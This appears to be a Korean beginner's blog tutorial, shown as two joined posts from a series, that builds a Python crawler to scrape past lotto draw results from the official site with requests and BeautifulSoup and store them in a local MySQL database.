# 웹 크롤링 한 결과를 저장할 리스트
lotto_list = []

# 로또 웹 사이트의 첫 주소
main_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin"

# 각 회차별 당첨정보를 알 수 있는 주소
basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="


def getLast():
	resp = requests.get(main_url)
	soup = BeautifulSoup(resp.text, "lxml")
	line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

	begin = line.find(" ")
	end = line.find("회")

	if begin == -1 or end == -1:
	    print("not found last lotto number")
	    exit()

	return int(line[begin + 1 : end])


def checkLast():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	sql = "SELECT MAX(count) FROM data"
	try:
	    cursor.execute(sql)
	    result = cursor.fetchone()
	except:
	    print(sys.exc_info()[0])

	db.close()

	return result[0]


def crawler(fromPos, toPos):

	for i in range(fromPos + 1, toPos + 1):
		
		crawler_url = basic_url + str(i)
		print("crawler: " + crawler_url)

		resp = requests.get(crawler_url)
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]

		info = {}
		info["회차"] = i
		info["번호"] = numbers
		info["당첨자"] = persons
		info["금액"] = amount

		lotto_list.append(info)

def insert():
	db = MySQLdb.connect(host="localhost", user="lotto", passwd="lotto", db="lotto")
	cursor = db.cursor()

	for dic in lotto_list:
		count = dic["회차"]
		numbers = dic["번호"]
		persons = dic["당첨자"]
		amounts = dic["금액"]

		print("insert to database at " + str(count))

		numberlist = str(numbers).split(",")

		sql = "INSERT INTO `lotto`. `data`(`count`, `1`, `2`, `3`, `4`, `5`, `6`, `7`, `persion`, `amount`) " \
		      "VALUES('%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%d', '%s')" \
		      % (count,
		         int(numberlist[0]),
		         int(numberlist[1]),
		         int(numberlist[2]),
		         int(numberlist[3]),
		         int(numberlist[4]),
		         int(numberlist[5].split("+")[0]),
		         int(numberlist[5].split("+")[1]),
		         int(persons),
		         str(amounts))

		try:
		    cursor.execute(sql)
		    db.commit()
		except:
		    print(sys.exc_info()[0])
		    db.rollback()
		    break

	db.close()

def main():
	last = getLast()	
	dblast = checkLast()	

	if dblast < last:
		print("최신 회차는 " + str(last) + " 회 이며, 데이터베이스에는 " + str(dblast) + "회 까지 저장되어 있습니다.")
		print("업데이트를 시작합니다.")
		crawler(dblast, last)
		
	insert()
		
if __name__ == "__main__":
    main()


위 코드를 실행하면 아래와 같이 최신 회차만 크롤링 한 후 데이터베이스에 저장하는 것을 볼 수 있습니다.




전체 소스코드는 아래에 첨부하였습니다.

lotto.py




이것으로 이번 포스트를 마치도록 하겠습니다.


다음 포스트에서는 이렇게 저장된 데이터를 이용해서 로또 사이트에서 제공하는 것과 같이 데이터를 분석하는 방법을 알아보도록 하겠습니다.



읽어주셔서 감사합니다.



'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
Develop Security Static Code Analyzer (1)  (0) 2017.05.15
따라하는 python 로또 분석(4)  (0) 2016.07.11
따라하는 python 로또 분석(3)  (0) 2016.07.04
따라하는 python 로또 분석 (1)  (0) 2016.06.21
개발


이 글은 python 초보자들을 대상으로 하는 로또 데이터 분석에 관련된 글입니다.


개인적으로는 c++이 제일 편하지만 python에는 라이브러리가 많아 프로그래밍 초보들도 쉽게 만들 수 있다는 장점이 있습니다.

c++로 구현하려면...어휴;;


자. 그럼 시작해 볼까요?


준비물: python 3.x

python 모듈 : requests



1. 로또 당첨 기록 가져오기


먼저 지난 당첨 기록들을 가져와야 합니다.

로또 당첨 기록들은 로또 공식 홈페이지(http://nlotto.co.kr/)에서 가져오도록 하겠습니다.


로또 공식 홈페이지에 접속해서 각 회차별 데이터를 가져오는 크롤러를 만들어야 합니다.

requests 라는 모듈을 쓰면 쉽게 인터넷에 있는 데이터를 가져올 수 있습니다.


아래는 코드입니다.

# lotto.py

import requests

def main():
	main_url = "https://www.nlotto.co.kr/"
	response = requests.get(main_url)
	print(response)

if __name__ == "__main__":
    main()


requests 모듈을 이용해 2줄로 데이터를 가져왔습니다.

참, python3는 기본 인코딩이 utf-8이기 때문에 별도의 utf-8 설정을 할 필요가 없습니다.


위의 코드를 실행하면 아래와 같이 200 response code가 출력됩니다.

http status code 200은 서버가 정상적으로 요청을 처리했음을 뜻하는 값입니다.




가져온 HTML 코드를 보려면 response.text를 출력하면 됩니다.

아래와 같이 코드를 수정해 봅시다.




# lotto.py

import requests

def main():
	main_url = "https://www.nlotto.co.kr/"
	response = requests.get(main_url)
	print(response.text)

if __name__ == "__main__":
    main()


위 코드를 실행한 결과는 아래와 같습니다.




이제 웹 사이트에서 HTML을 가져오는 것까지 되었으니 진짜로 지난 당첨기록들을 가져올 차례입니다.

어디가 좋을까 웹 사이트를 둘러보다가 아래와 같은 곳을 발견했습니다.



위 그림의 빨간 박스에서 보이듯이 지난 회차를 하나씩 조회해 볼 수 있는 버튼이 있습니다.

회차를 선택하고 버튼을 누르면 아래와 같이 회차만 변경되는 URL을 확인할 수 있습니다. 숫자만 변경하면 되겠죠?


http://nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo=707




위 URL에서 HTML을 긁어오는 코드로 변경해 보겠습니다.



# lotto.py

import requests

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		print(basic_url + str(i))
		print(resp)

if __name__ == "__main__":
    main()


1부터 707(현 시점에서 가장 최근 회차)까지 for루프를 돌면서 requests를 보내는 코드입니다.

이 코드를 실행하면 아래와 같이 출력됩니다.






2. HTML 파싱하기



이번에는 HTML을 파싱해서 필요한 데이터를 추출해 볼 차례입니다.


python 모듈 : BeautifulSoup4, lxml


BeautifulSoup4 - 가져온 HTML을 파싱하기 쉽도록 도와주는 라이브러리

lxml - BeautifulSoup에서 파싱할 때 xml 구조를 이용하도록 하기 위해 필요한 라이브러리.


pip3를 이용하여 위의 모듈들을 설치합니다.



먼저 HTML 코드를 파싱하도록 코드를 수정해 볼까요?

수정된 코드는 아래와 같습니다.



# lotto.py

import requests
from bs4 import BeautifulSoup

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		soup = BeautifulSoup(resp.text, "lxml")
		
if __name__ == "__main__":
    main()


이전 코드에서 한 줄만 추가하면 됩니다. 참 쉽죠?

xml 형태로 파싱된 response가 soup 변수에 저장됩니다.


지금부터는 soup 변수를 이용해 찾고자 하는 데이터를 쉽게 찾을 수 있습니다.

soup를 이용해서 HTML 소스에서 회차, 당첨 번호, 당첨 금액들을 추출해보도록 하겠습니다.


웹 브라우저의 소스보기를 이용해서 우리가 추출하고자 하는 데이터가 HTML의 소스 내 어디에 위치하는지, 어떻게 추출할 수 있는지 찾아봐야 합니다.


소스를 살펴보다 보니 아래 화면과 같은 곳이 눈에 뜨입니다.



id가 desc, name이 description인 <meta> 태그를 찾아서 content의 내용을 추출하면 될 것 같습니다.

BeautifulSoup를 이용해 해당 라인을 찾는 코드를 추가해 봅니다.

수정된 코드는 아래와 같습니다.



# lotto.py

import requests
from bs4 import BeautifulSoup

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])
		print(line)
		break
		
if __name__ == "__main__":
    main()


위의 코드를 실행하면 아래와 같이 우리가 필요로 하는 데이터를 제대로 추출함을 볼 수 있습니다.




위의 라인을 적절히 파싱하면 당첨회차, 당첨 번호, 당첨 인원, 당첨금액으로 분리할 수 있습니다.

아래 코드를 보시죠.



# lotto.py

import requests
from bs4 import BeautifulSoup

def main():
	basic_url = "https://www.nlotto.co.kr/lotto645Confirm.do?method=byWin&drwNo="
	for i in range(1, 707):
		resp = requests.get(basic_url + str(i))
		soup = BeautifulSoup(resp.text, "lxml")
		line = str(soup.find("meta", {"id" : "desc", "name" : "description"})['content'])
		
		print("당첨회차: " + str(i))

		begin = line.find("당첨번호")
		begin = line.find(" ", begin) + 1
		end = line.find(".", begin)
		numbers = line[begin:end]
		print("당첨번호: " + numbers)

		begin = line.find("총")
		begin = line.find(" ", begin) + 1
		end = line.find("명", begin)
		persons = line[begin:end]
		print("당첨인원: " + persons)

		begin = line.find("당첨금액")
		begin = line.find(" ", begin) + 1
		end = line.find("원", begin)
		amount = line[begin:end]
		print("당첨금액: " + amount)

		break
		
if __name__ == "__main__":
    main()


위의 코드를 실행하면 아래의 결과를 얻을 수 있습니다.

제대로 추출했죠?





이번 포스팅은 여기까지 입니다.


다음 포스팅에서는 받아온 이렇게 추출한 데이터를 mysql에 저장해보도록 하겠습니다.


읽어주셔서 감사합니다.






'개발' 카테고리의 다른 글

Commands out of sync 문제  (0) 2017.11.27
Develop Security Static Code Analyzer (1)  (0) 2017.05.15
따라하는 python 로또 분석(4)  (0) 2016.07.11
따라하는 python 로또 분석(3)  (0) 2016.07.04
따라하는 python 로또 분석(2)  (0) 2016.06.28
1
블로그 이미지

Jest